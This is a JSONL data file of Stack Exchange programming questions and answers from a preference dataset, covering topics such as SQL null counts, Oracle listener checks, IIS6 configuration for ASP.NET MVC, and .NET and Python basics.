{"id": "hf_40eafbe3c0fd", "question": "<p>I want to set up a Subversion server installation on Windows Server 2003 64-bit and I'm considering using <a href=\"http://www.visualsvn.com/server/\" rel=\"noreferrer\">VisualSVN Server</a>. Does this work OK in a 64-bit environment? Are there any issues or gotchas I should be aware of before installing the software?</p>\n\n<p>Many thanks!</p>\n", "question_body": "", "answer": "VisualSVN 1.5.1 works on Vista 64 bits. You can get some\nupdate here\nfor Vista if you experiment some problem, but you should be fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:16.408177"}
{"id": "hf_9202368935a7", "question": "<p>I have a table that has a <code>processed_timestamp</code> column -- if a record has been processed then that field contains the datetime it was processed, otherwise it is null.</p>\n\n<p>I want to write a query that returns two rows:</p>\n\n<pre><code>NULL        xx -- count of records with null timestamps\nNOT NULL    yy -- count of records with non-null timestamps\n</code></pre>\n\n<p>Is that possible?</p>\n\n<p><strong>Update:</strong> The table is quite large, so efficiency is important. I could just run two queries to calculate each total separately, but I want to avoid hitting the table twice if I can avoid it.</p>\n", "question_body": "", "answer": "In MySQL you could do something like\n```\n```\nSELECT \n    IF(ISNULL(processed_timestamp), 'NULL', 'NOT NULL') as myfield, \n    COUNT(*) \nFROM mytable \nGROUP BY myfield\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:16.445087"}
{"id": "hf_13c7f1cb3459", "question": "<p>We are replacing the exception handling system in our app in order to conform to Vista certification, but the problem is how to force certain exceptions to be thrown, so that we can check the response.</p>\n\n<p>Unfortunately the whole app was written without taking into consideration proper layering, abstraction or isolation principles, and within the timeframe introducing mocking and unit testing is out of the question :(</p>\n\n<p>My idea is to introduce code which will throw a particular exception, either through a compiler directive or by respecting a value in the config file.  We can then just run the app as normal and manually check how the exception is handled.</p>\n\n<p>Just thought I'd put it out there and see if the SO community can think of anything better!</p>\n\n<p>Cheers</p>\n", "question_body": "", "answer": "Introduce this code:\n```\n```\nthrow new Exception(\"test\");\n```\n```\nIf you need the exception to always be there (i.e., not just test code), then hide it behind a command-line parameter.\n```\n```\nC:\\Users\\Dude> myapp.exe /x\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:16.498424"}
{"id": "hf_bd9caafae537", "question": "<p>I have custom coded several enterprise applications for mid to large organizations to use internally (some with a minimal external footprint).  I now have plans for a web project that may (hopefully) see a large userbase with more daily traffic than my previous projects have ever attained.  Obviously I want my design to be scalable and maintainable.  The problem is that from a physical layout perspective (servers/VMs) I do not know what to expect.</p>\n\n<p>The question:  What are some good resources for this?  Books?  Websites?  I have found plenty on scalable application design, but nothing on scalable physical design.</p>\n", "question_body": "", "answer": "It's hard to give exact answer without knowing something about what technologies you plan to use. The approach to the application can't be completely unaware of planned physical infrastructure if scaling is a major driver.\nCaching would have to be a big concern.  Also ways to expand the hardware where your data lives.\nA very interesting and instructive read is the real world bio of live journal,\na history of scaling\n, and how they grew their physical presence with a massive growth in their website.  One major offshoot of their work was a new caching technology, memcached, which is now used by FaceBook among others.  It is surprisingly honest.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:16.548683"}
{"id": "hf_b33ed0e1347b", "question": "<p>I'm occasionaly getting the following popup from an AJAX.NET application</p>\n\n<pre>Sys.WebForms.PageRequestManagerServerErrorException: An Unknown error occurred while processing the request on the server. The status code returned from the server was: 12031</pre>\n\n<p>From the <a href=\"http://support.microsoft.com/kb/193625\" rel=\"noreferrer\">Microsoft kb</a> that status code indicates a ERROR_INTERNET_CONNECTION_RESET, but it doesn't state what was the underlying issue the triggered the error in the first place.</p>\n\n<p>How can I log/trace/etc the underlying error that generated the popup?</p>\n", "question_body": "", "answer": "If you're getting that from an updatePanel, set EnablePartialRendering to false in the ScriptManager for the page, and then it should give you the actual error.\nAlso, if it only happens occasionally, I've found that it could be a viewstate problem, especially when the page goes a long time (20mins or so) between refreshes.\nOtherwise, try some try/catch blocks.  Those are some easy methods.\nHope that helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:16.698960"}
{"id": "hf_4b3de15c8e39", "question": "<p>How to load only the schema of the tables into a dataset.</p>\n", "question_body": "", "answer": "SqlDataAdapter.FillSchema", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:16.723168"}
{"id": "hf_87ffd84aad97", "question": "<p>Other than using raw XML, is there an easy way in .NET to open and read a config file belonging to another assembly...?  I don't need to write to it, just grab a couple of values from it.</p>\n", "question_body": "", "answer": "Have you tried\n```\nConfigurationManager\n```\nand\n```\nOpenExeConfiguration(path)\n```\n? (in System.Configuration.dll)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:16.783229"}
{"id": "hf_ced90b4b3d76", "question": "<p>My company is just starting to look at using WPF for migrating all of our 10 year old business applications. These applications will most of the time be running on computers that have limited/old hardware. We are now a little worried that the hardware might be too limited for using WPF. </p>\n\n<p>We have installed Family.Show (<a href=\"http://www.vertigo.com/familyshow.aspx\" rel=\"noreferrer\">http://www.vertigo.com/familyshow.aspx</a>) on an basic older computer and that seems to run ok. But we would like know what your experiences with WPF on older hardware is? Anyone out there willing to share some experiences with us?</p>\n", "question_body": "", "answer": "WPF apps will\ngenerally\nrun no slower than their equivalents using other technologies. In other words, performance depends on what you're doing. If you have a basic app with some simple data entry controls and a grid or two then it'll be a lot less demanding than an app that has animated custom controls with overlaid video, etc.\nYou should also bear in mind that you must have at least XP SP2 to install WPF, which sets a reasonable hardware baseline anyway.\nIn summary you should have no problems running a WPF app on older hardware as long as you are sensible with the frills. Given WPF's templated controls it's also fairly trivial to test for a basic level of client performance at runtime (see\nGraphics Rendering Tiers\n) and only enable more advanced features on suitable hardware.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:16.808113"}
{"id": "hf_373442298a1d", "question": "<p>It's great to find all those little snippets of code on the Web for your current needs, but is there anything better than getting whole application source code at once and reading it like a book? \nThere's no better way to learn positive and negative aspects of various architecture solutions.</p>\n\n<p>That's why I was trying to find some known/big websites with its source code published, but haven't found anything more than I knew already ( <a href=\"http://code.reddit.com/browser\" rel=\"nofollow noreferrer\">http://code.reddit.com/browser</a> )</p>\n\n<p>Do you know anything more? </p>\n\n<p>PS. Just being curious - have you heard about any unofficial big web site source code leak?</p>\n", "question_body": "", "answer": "Wikipedia's source code (MediaWiki) can be found at\nhttp://www.mediawiki.org/\nThe most relevant parts are\n\"phase3\"\n(the core code; this strange name is because it was rewritten a couple of times)\nextensions\n(Wikipedia uses several of them; which ones can be seen at\nSpecial:Version\n)\nAdditionally, here is a very detailed explanation of Wikipedia's whole architecture:\nWikipedia: Site internals, conﬁguration, code examples and management issues\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:16.832470"}
{"id": "hf_403692629422", "question": "<p>When I try to add a HTTP header key/value pair on a <code>WebRequest</code> object, I get the following exception:</p>\n\n<blockquote>\n  <p>This header must be modified using the appropriate property</p>\n</blockquote>\n\n<p>I've tried adding new values to the <code>Headers</code> collection by using the Add() method but I still get the same exception.</p>\n\n<pre><code>webRequest.Headers.Add(HttpRequestHeader.Referer, \"http://stackoverflow.com\");\n</code></pre>\n\n<p>I can get around this by casting the WebRequest object to a HttpWebRequest and setting the properties such as <code>httpWebReq.Referer =\"http://stackoverflow.com\"</code>, but this only works for a handful of headers that are exposed via properties.</p>\n\n<p>I'd like to know if there's a way to get a finer grained control over modifying headers with a request for a remote resource.</p>\n", "question_body": "", "answer": "WebRequest\nbeing abstract (and since any inheriting class must override the Headers property).. which concrete WebRequest are you using ? In other words, how do you get that WebRequest object to beign with ?\nehr.. mnour answer made me realize that the error message you were getting is actually spot on: it's telling you that the header you are trying to add already exist and you should then modify its value using the appropriate property (the indexer, for instance), instead of trying to add it again. That's probably all you were looking for.\nOther classes inheriting from WebRequest might have even better properties wrapping certain headers; See\nthis post\nfor instance.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:16.870483"}
{"id": "hf_4077b591222c", "question": "<p>What is the correct way to check if a value is a date/number in Delphi?</p>\n\n<p>I know other languages have functions like isDate and  isNaN, but what is the Delphi equivalent? at the minute I have this</p>\n\n<pre><code>function isNumeric(s1:string):boolean;\nbegin   \n   // will throw exception if its not a number\n  // there must be a better way to do this!!\n  try\n     StrTofloat(s1);\n       result :=  TRUE ;\n     except\n       result := FALSE;\n      end;\nend;\n</code></pre>\n\n<p>But throwing exceptions cant be good, and it makes debugging hard as I keep seeing the exception dialogue every time the code is called.</p>\n", "question_body": "", "answer": "For integers, you could use TryStrToInt to check and convert without throwing exceptions:\n```\n```\nfunction TryStrToInt(const s: string; out i : integer): boolean;\n```\n```\nI'm not absolutely sure there is a full equivalent for floats, though, so you might need to use StrToFloat() and accept the possibility of a TFormatException.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:16.955609"}
{"id": "hf_37b0aa23f0a5", "question": "<p>Creating an XPathDocument with referenced DTD sometimes throws a web exception. Why?</p>\n", "question_body": "", "answer": "See\nhttp://todotnet.com/archive/2006/07/27/8248.aspx\nBecause in the construction of\n  XPathDocument, there's an http GET\n  command to see if it can access the\n  DTD. It's not doing anything with the\n  DTD. It's for just in case. So while\n  XPathDocument is initially set up to\n  be a faster alternative to\n  XmlDocument, you'll have the\n  additional overhead of an http request\n  that needs to be resolved. Imagine\n  that server being on the other side of\n  the globe!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:17.003466"}
{"id": "hf_6d91f82b69b2", "question": "<p>I would like to change the \"Row Source\" values in an Access table through code.\nThis way I can filter what a user can choose in a column's combo box.</p>\n", "question_body": "", "answer": "I don't know whether or not this is an option for you, but I would recommend separating the table and filtering options, setting up a form to do the data entry and modification and using code to set the Row Source for the combo box on the form. As you've already seen, while Access does provide the opportunity to treat tables as more than just tables, that is primarily for GUI purposes. Behind the scenes, Access prefers that you work with forms for data entry.\nIf you need to pursue the table method, you might try looking at the MS knowledge base articles referenced\nhere\n. (The kb articles are\nhere\nand\nhere\n.) Keep in mind that these refer to Access 97 and may no longer be relevant. I wasn't able to find any more recent references to those properties in an Access tabledef.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:17.027424"}
{"id": "hf_294349f92f06", "question": "<p>I'm writing an app where 3rd party vendors can write plugin DLLs and drop them into the web app's bin directory. I want the ability for these plugins to be able to register their own HttpModules if necessary. </p>\n\n<p>Is there anyway that I can add or remove HttpModules from and to the pipeline at runtime without having a corresponding entry in the Web.Config, or do I have to programmatically edit the Web.Config when adding / removing modules? I know that either way is going to cause an AppDomain restart but I'd rather be able to do it in code than having to fudge the web.config to achieve the same effect. </p>\n", "question_body": "", "answer": "It has to be done at just the right\n  time in the HttpApplication life cycle\n  which is when the HttpApplication\n  object initializes (multiple times,\n  once for each instance of\n  HttpApplication). The only method\n  where this works correct is\n  HttpApplication Init().\nTo hook up a module via code you can\n  run code like the following instead of\n  the HttpModule definition in\n  web.config:\n```\n```\npublic class Global : System.Web.HttpApplication\n  {\n     // some modules use explicit interface implementation\n     // by declaring this static member as the IHttpModule interface\n     // we work around that\n     public static IHttpModule Module = new xrnsToashxMappingModule();\n     public override void Init()\n     {\n         base.Init();\n         Module.Init(this);\n     }\n  }\n```\n```\nAll you do is override the HttpApplication's Init() method and\n  then access the static instance's Init\n  method. Init() of the module hooks up\n  the event and off you go.\nVia\nRick Strahl's blog", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:17.051652"}
{"id": "hf_bdea609a2cc5", "question": "<p>In the context of unit testing, what is a \"unit\"?  </p>\n", "question_body": "", "answer": "We define 'unit' to be a single class.\nAs you rightly assert 'unit' is an ambiguous term and this leads to confusion when developers simply use the expression without adding detail. Where I work we have taken the time to define what we mean when we say 'unit test', 'acceptance test', etc. When someone new joins the team they learn the definitions that we have.\nFrom a practical point of view there will likely always be differences of opinion about what a 'unit' is. I have found that what is important is simply that the term is\nused consistently\nwithin the context of a project.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:17.154684"}
{"id": "hf_922ed516dabb", "question": "<p>What is the equivalent to the C# \"!\" operator in F#?</p>\n", "question_body": "", "answer": "According to\n\"Foundations of F#\"\n, page 61:\nF# uses a function called\n```\nnot\n```\nfor Boolean \"not\" operations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:17.240955"}
{"id": "hf_14f8b74f3176", "question": "<p>Lets say on MySQL database (if it matters).</p>\n", "question_body": "", "answer": "No, as you could still use D-SQL in your stored procedures... and validating and restricting your input is a good idea in any case.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:17.268145"}
{"id": "hf_6e2c3f43f6d8", "question": "<p>I have a property called \"IsSecureConnection\" that is part of my object's interface.  This makes sense for most implementations of the interface, however, in some implementations I would like to make the property ReadOnly.  </p>\n\n<p>Should I omit this property from the object's interface even though it is required by all of the implementations (though  slightly different on occasion)?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Just add the getter in the interface.\n```\n```\npublic interface Foo{\n  bool MyMinimallyReadOnlyPropertyThatCanAlsoBeReadWrite {get;}\n}\n```\n```\nInterfaces specify the minimum an object must implement; it doesn't say what an object cannot do.  For that, you need to look into creating base classes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:17.291871"}
{"id": "hf_d37af391fd14", "question": "<p>Is there a Python class that wraps the <code>file</code> interface (read, write etc.) around a string? I mean something like the <code>stringstream</code> classes in C++.</p>\n\n<p>I was thinking of using it to redirect the output of <code>print</code> into a string, like this</p>\n\n<pre><code>sys.stdout = string_wrapper()\nprint \"foo\", \"bar\", \"baz\"\ns = sys.stdout.to_string() #now s == \"foo bar baz\"\n</code></pre>\n\n<p>EDIT: This is a duplicate of <a href=\"https://stackoverflow.com/questions/141449/how-do-i-wrap-a-string-in-a-file-in-python\">How do I wrap a string in a file in Python?</a></p>\n", "question_body": "", "answer": "Yes, there is StringIO:\n```\n```\nimport StringIO\nimport sys\n\nsys.stdout = StringIO.StringIO()\nprint \"foo\", \"bar\", \"baz\"\ns = sys.stdout.getvalue()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:17.327530"}
{"id": "hf_45482f392c0a", "question": "<p>I am using Oracle 10g R2. \nRecently, after rebooting the server, I started having a problem where I couldn't connect to the instance. I am only connecting locally on the server itself. </p>\n\n<p>Oddly enough, the issue corrects itself if I start the Database Administration Assistant, and select my instance to supposedly change its settings. </p>\n\n<p>Does anybody have a clue on the roots of this problem?</p>\n\n<p>@akaDruid: I am testing my connection simply by trying to start SQLPlus on the server. </p>\n\n<p>@Matthew: It's Windows</p>\n", "question_body": "", "answer": "EDIT:  I don't think I read your question properly: The listener should not affect connections on the local machine, so you can probably ignore the rest of the answer, unless it gives you a hint!  How were you testing your connection? Was ORA-12514 the only error?\n(I'm assuming you're on Windows here)\nI guess the listener is not starting automatically when you reboot the server, and it's getting starting in oracle administration assistant - I don't use that tool unfortunately so couldn't say.\nNext time you reboot, before starting oracle administration assistant, open a command prompt and type lsnrctl status.  If the listener has not yet started you will get something like this:\n```\n```\nC:\\Documents and Settings\\user>lsnrctl status\n\nLSNRCTL for 32-bit Windows: Version 10.2.0.1.0 - Production on 27-OCT-2008 14:00:21\n\nCopyright (c) 1991, 2005, Oracle.  All rights reserved.\n\nConnecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC01)))\nTNS-12541: TNS:no listener\n TNS-12560: TNS:protocol adapter error\n  TNS-00511: No listener\n   32-bit Windows Error: 2: No such file or directory\nConnecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=server.domain.co.uk)\n(PORT=1521)))\nTNS-12541: TNS:no listener\n TNS-12560: TNS:protocol adapter error\n  TNS-00511: No listener\n   32-bit Windows Error: 61: Unknown error\n\nC:\\Documents and Settings\\user>lsnrctl status\n```\n```\nif it is running, you will get something like this:\n```\n```\nLSNRCTL for 32-bit Windows: Version 10.2.0.1.0 - Production on 27-OCT-2008 14:03\n:33\n\nCopyright (c) 1991, 2005, Oracle.  All rights reserved.\n\nConnecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC01)))\nSTATUS of the LISTENER\n------------------------\nAlias                     LISTENER\nVersion                   TNSLSNR for 32-bit Windows: Version 10.2.0.1.0 - Production\nStart Date                27-OCT-2008 14:03:27\nUptime                    0 days 0 hr. 0 min. 5 sec\nTrace Level               off\nSecurity                  ON: Local OS Authentication\nSNMP                      OFF\nListener Parameter File   C:\\oracle\\product\\10.2.0\\db_1\\network\\admin\\listener.ora\nListener Log File         C:\\oracle\\product\\10.2.0\\db_1\\network\\log\\listener.log\n\nListening Endpoints Summary...\n  (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(PIPENAME=\\\\.\\pipe\\EXTPROC01ipc)))\n  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=server.domain.co.uk)(PORT=1521))\n)\nServices Summary...\nService \"ORCL\" has 1 instance(s).\n  Instance \"ORCL\", status UNKNOWN, has 1 handler(s) for this service...\nService \"ORCL1\" has 1 instance(s).\n  Instance \"ORCL1\", status UNKNOWN, has 1 handler(s) for this service...\nService \"PLSExtProc\" has 1 instance(s).\n  Instance \"PLSExtProc\", status UNKNOWN, has 1 handler(s) for this service...\nThe command completed successfully\n\nC:\\Documents and Settings\\user>\n```\n```\nIf the listener is not starting, check that service is set to automatic.  If it is, check the listener.ora makes sense, see what output you get from lsnrctl start, etc.\nHope that helps, or at least sends you down the right path", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:17.350942"}
{"id": "hf_6a804eb21ef6", "question": "<p>For example for the following XML</p>\n\n<pre><code> &lt;Order&gt;\n  &lt;Phone&gt;1254&lt;/Phone&gt;\n  &lt;City&gt;City1&lt;/City&gt;\n  &lt;State&gt;State&lt;/State&gt;\n &lt;/Order&gt;\n</code></pre>\n\n<p>I might want to find out whether the XElement contains \"City\" Node or not. </p>\n", "question_body": "", "answer": "Just use the other overload for\nElements\n.\n```\n```\nbool hasCity = OrderXml.Elements(\"City\").Any();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:17.399128"}
{"id": "hf_5d3e42138872", "question": "<p>If you have a class member that is <code>static</code> and <code>public</code>. Would you write <code>static public</code> or <code>public static</code>? I know they are the same. But is there some recommendation / best practice for writing this?</p>\n", "question_body": "", "answer": "I personally would go with public static because it's more important that it's public than that it's static.\nAnd check this:\nhttp://checkstyle.sourceforge.net/config_modifier.html\nAs well as this:\nhttp://java.sun.com/docs/books/jls/second_edition/html/classes.doc.html\n(These two links are for Java, but the concept is the same)\nShort version: \"public static\" is recommended and is far more common.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:17.422911"}
{"id": "hf_66f170737228", "question": "<p>I'm struggling to get around the 404 errors from asp.net mvc beta when deploying on IIS 6. I had this working in one of the previews by mapping .mvc in IIS but this no longer works. I've read <a href=\"http://msmvps.com/blogs/omar/archive/2008/06/30/deploy-asp-net-mvc-on-iis-6-solve-404-compression-and-performance-problems.aspx\" rel=\"nofollow noreferrer\">Omar's post</a> and several others on the web and tried their solutions but no luck so far.</p>\n\n<p>The home page opens without a problem on IIS 6 but others 404 and the site runs well on IIS 7.</p>\n\n<p>Has anybody deployed asp.net mvc beta to IIS 6 with success? If so, what adjustments did you need to make to the code and/or IIS settings to get it to work?</p>\n", "question_body": "", "answer": "I found a solution to my problem from\nSteve Sanderson's blog\n(Thanks Steve):\nUse a wildcard mapping for\n```\naspnet_isapi.dll\n```\n. This tells IIS 6 to process all requests using ASP.NET, so routing is always invoked, and there’s no problem. It’s dead easy to set up:\nopen IIS manager (run -> inetmgr -> OK)\nright-click your app, go to Properties\nthen Home Directory tab, then click Configuration.\nUnder Wildcard application maps, click Insert (not Add, which is\nconfusingly just above)\nthen enter\nC:\\WINDOWS\\Microsoft.NET\\Framework\\v2.0.50727\\aspnet_isapi.dll for\n“Executable”, and uncheck Verify that file exists.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:17.459044"}
{"id": "hf_53a860c75a8f", "question": "<p>I am at the point where I need to add keys to my app. What are some of the possible solutions you guys used? I've looked at an earlier <a href=\"https://stackoverflow.com/questions/118031/best-activation-key-software-for-net-application\">post</a> so far, anything else before I decide. My 2 influential factors are:</p>\n\n<ol>\n<li>Price</li>\n<li>Ease of use</li>\n</ol>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Aladdin\nAladdin's Software and Hardware Solution Comparison Chart\nWe purchase these keys and they are very easy to use with sample code generated for you from their utility.  Added to this is they are a very professional company (no I don't work for them but have used their products in 2 different companies)\nThe basic hardware keys themselves cost around $30per in small qty but you must purchase the \"Master\" set which is more expensive (at this time I can't recall the cost).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:17.625987"}
{"id": "hf_39d1cfd3d6db", "question": "<p>I'm developing an <code>ActiveX EXE</code> that exposes an specific class to a third-party software.  This third-party software instanciates an object of this class and uses its methods.  </p>\n\n<p>Strangely, this third-party software destroys its object of my exposed class as soon as it calls an specific method, but I have no idea why this happens.</p>\n\n<p>The only clue I have is that this method is the only one that returns a value.  All the other ones are simple 'subs' that do not return any value, and when they are called nothing wrong happens.</p>\n\n<p>I'm using  VB6.</p>\n\n<p>Do you guys have any idea of why it's happening?</p>\n", "question_body": "", "answer": "Your object gets \"destroyed\" when the last reference to it is deleted. Thats normal COM behavior. Or is your object dying unexcepted and the third-party app is getting an activex error?\nSome more questions:\nI don't know what you mean with \"data server\"?\nDo you have access to the source code of the third-party app?\nAre you sure, the third-party app holds a reference to your object?\nIs your objects Class_Terminate Method called?\nEDIT:\nOK, when Class_Terminate is getting called its obvious, that the third-party app has dropped its reference to your object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:17.673584"}
{"id": "hf_9104b46538e6", "question": "<p>I'm looking for a way to create websites with the <em>cool stylings</em> of Windows Vista, like what is shown in this screenshot (taken from one of Microsoft's websites):</p>\n\n<p><img src=\"https://www.istartedsomething.com/wp-content/uploads/2008/08/windows7update.jpg\" alt=\"Microsoft Update Catalog\"></p>\n\n<p>Any suggestions? I'd prefer an integrated designer / IDE, but libraries or templates might also help.</p>\n", "question_body": "", "answer": "The \"cool Vista stylings\" are done using\nWPF\n, for which you'll need\nVisual Studio 2008\n. 90-day trial downloads are\nhere\n. The \"Express Products\" (free, stripped-down versions) are\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:17.697964"}
{"id": "hf_39637b3c0aa1", "question": "<p>Jeffrey Richter is looking for some input on how people are using his PowerThreading library. If anyone out there is using this, what parts of it are you using? He is looking to clean up the library and wants to know what classes people are using.</p>\n\n<p><a href=\"http://www.wintellect.com/PowerThreading.aspx\" rel=\"nofollow noreferrer\">http://www.wintellect.com/PowerThreading.aspx</a></p>\n\n<p>EDIT: See <a href=\"http://tech.groups.yahoo.com/group/PowerThreading/message/88\" rel=\"nofollow noreferrer\">http://tech.groups.yahoo.com/group/PowerThreading/message/88</a></p>\n", "question_body": "", "answer": "An indirect answer (I don't use that library myself) - if I was looking at complex threading, I'd be very tempted to look at what the\nTPL\nhas to offer in the current CTP, especially looking forward to .NET 4.0.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:17.745523"}
{"id": "hf_8045ccd13a23", "question": "<p>I understand that they force you to implement methods and such but what I cant understand is why you would want to use them. Can anybody give me a good example or explanation on why I would want to implement this.</p>\n", "question_body": "", "answer": "There are a number of reasons to do so. When you use an interface, you're ready in the future when you need to refactor/rewrite the code.  You can also provide an sort of standardized API for simple operations.\nFor example, if you want to write a sort algorithm like the quicksort, all you need to sort any list of objects is that you can successfuuly compare two of the objects.  If you create an interface, say ISortable, than anyone who creates objects can implement the ISortable interface and they can use your sort code.\nIf you're writing code that uses a database storage, and you write to an storage interface, you can replace that code down the line.\nInterfaces encourage looser coupling of your code so that you can have greater flexibility.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:17.769860"}
